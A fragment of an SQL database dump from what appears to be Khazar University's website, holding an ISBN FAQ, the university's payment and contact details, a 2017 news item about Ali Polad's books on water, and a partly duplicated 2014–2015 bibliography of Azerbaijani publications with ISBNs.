print?</strong></p><p>No. An ISBN identifies a given title, and its edition and binding for all time. Even if out of print it will still exist in some shops, and will certainly still exist in libraries and catalogues.</p><p><strong>I am publishing a work in several volumes. Will one ISBN suffice or will each volume need its own ISBN?</strong></p><p>The rules state that the set should have an ISBN, and that each volume of the set should have its own, separate ISBN.</p><p><strong>I am publishing a series of titles. Do I need an ISBN or an ISSN?</strong></p><p>The series should receive an ISSN while the individual items receive ISBNs.</p><p><strong>* Payment will be made by cash or bank transfer.</strong></p><p><strong>KHAZAR UNIVERSITY</strong></p><p>ADDRESS: 41&nbsp;MAHSATI STR. AZ1096,</p><p>BAKU, THE REPUBLIC OF AZERBAIJAN</p><p>PHONE: +99412 421-7916, +99412 421-10-93, FAX: +99412 498-93-79&nbsp;</p><p>E-MAIL: <a href=\"mailto:kup@khazar.org\">kup@khazar.org</a>&nbsp;</p><p>ACCOUNT No:380909440117417301</p><p>ITN 1300090601&nbsp;</p><p>CORRESPONDING ACCOUNT IN THE SETTLEMENTS DEPARTMENT</p><p>OF THE CJS ”BANK STANDARD” CB:,</p><p>0137010003944, CODE: &nbsp;508364</p><p>S.W.I.F.T. BIK:MOSZAZ-22</p><p>ITN 9900006801</p>'),(3120,1842,'en','Ali Polad Presented His New Books','On January 24, 2017, a meeting with Professor Ali Polad, writer and researcher, honorary member of the Writers’ Associations in Azerbaijan and Turkey...','<p>On January 24, 2017, a meeting with Professor Ali Polad, writer and\r\nresearcher, honorary member of the Writers’ Associations in Azerbaijan and\r\nTurkey, was held in Khazar University’s affiliate Dunya School.&nbsp;The main\r\npurpose of the meeting was to present Prof. Polad’s new books – <em>The Power of\r\nWater</em>, <em>Long Live Water Drinking!</em>, <em>Water: My Life Energy.</em></p>\r\n<p>Two films highlighting the life of Ali Polad and the history of&nbsp;\r\nDunya School were shown to the participants. </p>\r\n<p>Professor Polad spoke about the health benefits of water drinking. Aynur\r\nAbdullayeva and Alsu Asadli, Dunya School’s fifth grade pupils, made\r\ninteresting presentations about water. Then the school dance group performed\r\ndances. </p>\r\n<p>Speeches about Ali Polad’s creative activities were made by Solmaz\r\nRustamova-Tohidi, Senior Researcher of the Ziya Bunyadov Oriental Studies\r\nInstitute of Azerbaijan National Academy of Sciences and Etibar\r\nBabayev, vice-president of ATV. </p>\r\n<p>The meeting ended with\r\na library tour; Ali Polad presented some of his books to the school library. </p>\r\n<p>&nbsp;</p>'),(1500,938,'az','Tez-tez soruşulan suallar','Tez-tez soruşulan suallar',''),(1501,939,'en',' Index of Publications',' Index of Publications','<p><strong>BIBLIOGRAPHY: NATIONAL AZERBAIJAN ISBN AGENCY</strong></p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>2014 - 2015</strong></p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abbasova, G. Azərbaycan Cəmiyyətinin siyasi təşkilində parlamentin yeri və rolu. Bakı: Xəzər Universiteti nəşriyyatı, 2014. ISBN: 9789952823288</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abbasova, G. Azərbaycan Cəmiyyətinin siyasi təşkilində parlamentin yeri və rolu. Bakı: Xəzər Universiteti nəşriyyatı, 2014. ISBN: 9789952823288</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, B. Diplomatik yazışmanın nəzəri aspektləri. Bakı: Tuna Co., 2014. ISBN: 9789952502008</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, B. Diplomatik yazışmanın nəzəri aspektləri. Bakı: Tuna Co., 2014. ISBN: 9789952502008</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, Ç. Andora sevməli və ölməli yerdir. Bakı: Qanun nəşriyyatı, Əli və Nino, 2014. ISBN: 9789952267013</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, Ç. Andora sevməli və ölməli yerdir. Bakı: Qanun nəşriyyatı, Əli və Nino, 2014. ISBN: 9789952267013</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, Ç. Balkan sindromu. Bakı: Qanun nəşriyyatı, Əli və Nino, 2014. ISBN: 9789952266856</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, Ç. Balkan sindromu. Bakı: Qanun nəşriyyatı, Əli və Nino, 2014. ISBN: 9789952266856</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, Ç. Əclafların kredosu. Bakı: Qanun nəşriyyatı, Əli və Nino, 2014. ISBN: 9789952266946</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, Ç. Əclafların kredosu. Bakı: Qanun nəşriyyatı, Əli və Nino, 2014. ISBN: 9789952266946</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, Ç. Əclafların qanunu. Bakı: Qanun nəşriyyatı, Əli və Nino, 2014. ISBN: 9789952266818</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, Ç. Əclafların qanunu. Bakı: Qanun nəşriyyatı, Əli və Nino, 2014. ISBN: 9789952266818</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, Ç. Qaniçənlər aynası. Bakı: Qanun nəşriyyatı, Əli və Nino, 2014. ISBN: 9789952267242</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, Ç. Qaniçənlər aynası. Bakı: Qanun nəşriyyatı, Əli və Nino, 2014. ISBN: 9789952267242</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, Ç. Məhşər ayağında. Bakı: Qanun nəşriyyatı, Əli və Nino, 2014. ISBN: 9789952267440</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, Ç. Məhşər ayağında. Bakı: Qanun nəşriyyatı, Əli və Nino, 2014. ISBN: 9789952267440</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, Ç. Namərdin üslubu. Bakı: Qanun nəşriyyatı, Əli və Nino, 2014. ISBN: 9789952267068</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, Ç. Namərdin üslubu. Bakı: Qanun nəşriyyatı, Əli və Nino, 2014. ISBN: 9789952267068</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, Ç. Prezident ovu. Bakı: Qanun nəşriyyatı, Əli və Nino, 2014. ISBN: 9789952266344</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, Ç. Prezident ovu. Bakı: Qanun nəşriyyatı, Əli və Nino, 2014. ISBN: 9789952266344</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, Ç. Şübhəsiz metamorfoz. Bakı: Qanun nəşriyyatı, Əli və Nino, 2014. ISBN: 9789952266924</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, Ç. Şübhəsiz metamorfoz. Bakı: Qanun nəşriyyatı, Əli və Nino, 2014. ISBN: 9789952266924</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, Ç. Transilvaniya səfəri. Bakı: Qanun nəşriyyatı, Əli və Nino, 2014. ISBN: 9789952266917</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, Ç. Transilvaniya səfəri. Bakı: Qanun nəşriyyatı, Əli və Nino, 2014. ISBN: 9789952266917</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, Ç. Uğursuzun hekayəti. Bakı: Qanun nəşriyyatı, Əli və Nino, 2014. ISBN: 9789952266825</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, Ç. Uğursuzun hekayəti. Bakı: Qanun nəşriyyatı, Əli və Nino, 2014. ISBN: 9789952266825</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev,&nbsp;Ç. Milyardın dəyəri . Bakı: Qanun&nbsp;nəşriyyatı,&nbsp;2014 . ISBN : 9789952267846</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Adam, O. Qəlbin xilası. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267211</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Adam, O. Qəlbin xilası. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267211</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Adil insan.&nbsp;Bakı : Qanun&nbsp;, 2014. ISBN:&nbsp;9789952268591</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ağayeva, D.N. Abşeronun mikobiotası. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495263</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ağayeva, D.N. Abşeronun mikobiotası. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495263</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ağazadə, F. Fevral havası. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268526</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ağazadə, F. Fevral havası. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268526</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ahern, S. P.S. Mən səni sevirəm. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266962</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ahern, S. P.S. Mən səni sevirəm. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266962</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Axundzadə, D.&nbsp;Müşfiqli günlərim.&nbsp;Bakı:&nbsp;Gənclik, 2014 .&nbsp; ISBN:&nbsp; 978-9952-824-56-8</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Alazan vadisinin avarları&nbsp; .&nbsp; Bakı : Qanun, 2014 . ISBN:&nbsp; 9789952268362</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Altay. Slevin. Bakı: Mütərcim, 2014. ISBN: 9789952281798</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Altay. Slevin. Bakı: Mütərcim, 2014. ISBN: 9789952281798</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Anar. Təhminə və Zaur və ya Beşmərtəbəli evin altıncı mərtəbəsi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266801</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Anar. Təhminə və Zaur və ya Beşmərtəbəli evin altıncı mərtəbəsi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266801</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Anjelis , B . Hər bir kişinin qadınlar haqqında bilməli olduğu vacib sirlər. Bakı : Qanun, 2014. ISBN:&nbsp;&nbsp; 9789952268249</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Anjelis, B. Hər bir qadının kişilər haqqında bilməli olduğu vacib sirlər. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267617</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Anjelis, B. Hər bir qadının kişilər haqqında bilməli olduğu vacib sirlər. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267617</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Arif Cəfər oğlu İsmayılzadə. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495041</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Arif Cəfər oğlu İsmayılzadə. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495041</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Auster, P. Nyu York trilogiyası. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268027</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Auster, P. Nyu York trilogiyası. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268027</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycan milli elmlər akademiyası mikrobiologiya institutunun elmi əsərləri 2011, cild 9, No2&nbsp; . Bakı : 2011 . İSSN2224-0683</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycan milli elmlər akademiyası mikrobiologiya institutunun elmi əsərləri 2012, cild 10, No2 . Bakı: İSSN2224-0683</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycan milli elmlər akademiyası mikrobiologiya institutunun elmi əsərləri 2013, cild 11, No2 .&nbsp; Bakı: İSSN2224-0683</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycan milli elmlər akademiyası mikrobiologiya institutunun elmi əsərləri 2013, cild 11, No1 .&nbsp; Bakı: İSSN2224-0683</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycan milli elmlər akademiyası mikrobiologiya institutunun elmi əsərləri 2013, cild 10, No1 .&nbsp; Bakı: İSSN2224-0683</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycan milli elmlər akademiyası mikrobiologiya institutunun elmi əsərləri 2014, cild 12, No1 . Bakı: İSSN2224-0683</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bahadırsoy, O. Günahdır səni sevmək: bir yasaq məhəbbət hekayəsi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268157</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bahadırsoy, O. Günahdır səni sevmək: bir yasaq məhəbbət hekayəsi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268157</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Barbaros Xeyrəddin Paşa.&nbsp; Bakı:&nbsp; Kitab klubu, 2014 . ISBN&nbsp; :&nbsp;&nbsp; 9789952825220</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Batman, Ə. Səhər yuxum. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267488</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Batman, Ə. Səhər yuxum. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267488</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Batur, E. Alma. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267532</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Batur, E. Alma. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267532</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Behbudov, S. Simurq ömrü. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495355</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Behbudov, S. Simurq ömrü. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495355</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Behrudi , R . Bir dəli ayrılıq kimi . Bakı : Qanun , 2014 . ISBN&nbsp; :&nbsp;&nbsp; 9789952268799</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bern,&nbsp;R . Sirr. Bakı:&nbsp; Qanun, 2014. ISBN&nbsp; :&nbsp;&nbsp; 9789952267792</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Beyli, Ç. Mayın yeddi günü. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266757</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Beyli, Ç. Mayın yeddi günü. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266757</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Beynəlxalq&nbsp; münasibətlər .&nbsp; Bakı :&nbsp; Kitab klubu , 2013 . ISBN&nbsp; :&nbsp;&nbsp; 9789952290547&nbsp;</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bilik yarışması. Bakı: Altun Kitab nəşriyyatı, 2014. ISBN: 9789952241891</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bilik yarışması. Bakı: Altun Kitab nəşriyyatı, 2014. ISBN: 9789952241891</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Blançard,K., Conson , S . Bir dəqiqə idarəçi . Bakı : Qanun , 2014 . ISBN :&nbsp; 9789952268782</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bokkaçço, C. Dekameron: “Qanun” macəraları. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267761</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bokkaçço, C. Dekameron: “Qanun” macəraları. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267761</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Borges , J. L . Qum kitabı .&nbsp; Bakı : Qanun , 2014 . ISBN&nbsp; :&nbsp;&nbsp; 9789952269017</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Böll, H. Hekayələr. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266788</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Böll, H. Hekayələr. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266788</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Böll, H. O illərin çörəyi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267549</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Böll, H. O illərin çörəyi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267549</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Böyükçöl, K. Səkkizinci gün. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267822</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Böyükçöl, K. Səkkizinci gün. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267822</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Braun , D&nbsp; .&nbsp; Cəhənnəm&nbsp; .&nbsp; Bakı : Qanun&nbsp; ,&nbsp; 2014 . ISBN&nbsp; :&nbsp; 9789952268447</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Brea , A. Bir balaca parislinin həyatı . Bakı : Qanun ,&nbsp; 2014 . ISBN&nbsp; :&nbsp;&nbsp; 9789952268553</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bredberi, R. Hekayələr. Bakı: Altun kitab nəşriyyatı, 2014. ISBN: 978 9952242027</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bredberi, R. Hekayələr. Bakı: Altun kitab nəşriyyatı, 2014. ISBN: 978 9952242027</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bukovski , C .&nbsp; Poşt idarəsi . Bakı : Qanun , 2014 . ISBN&nbsp; :&nbsp;&nbsp; 9789952269000</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bukovski , Ç . Qadınlar .&nbsp;&nbsp; Bakı :&nbsp; Qanun&nbsp; , 2014 . ISBN&nbsp; :&nbsp;&nbsp; 9789952268102</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Carnegie, D . Dost qazanmaq və adamlara təsir göstərmək sənəti&nbsp; .&nbsp; Bakı : Qanun , 2014 . ISBN&nbsp; :&nbsp; 9789952268515</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ceferli , G . Rusça-Türkçe matematik sözlük&nbsp;&nbsp; . Bakı : “OL “ MMC , 2014 . ISBN&nbsp; :&nbsp;&nbsp; 9789952494372</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Cəfərov, E. S. Fizika. Bakı: Azərnəşr, 2014.</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Cəfərov, E. S. Fizika. Bakı: Azərnəşr, 2014.</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Cəfərov, F. Funksionla qida məhsullarının texnologiyası. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495331</p><p 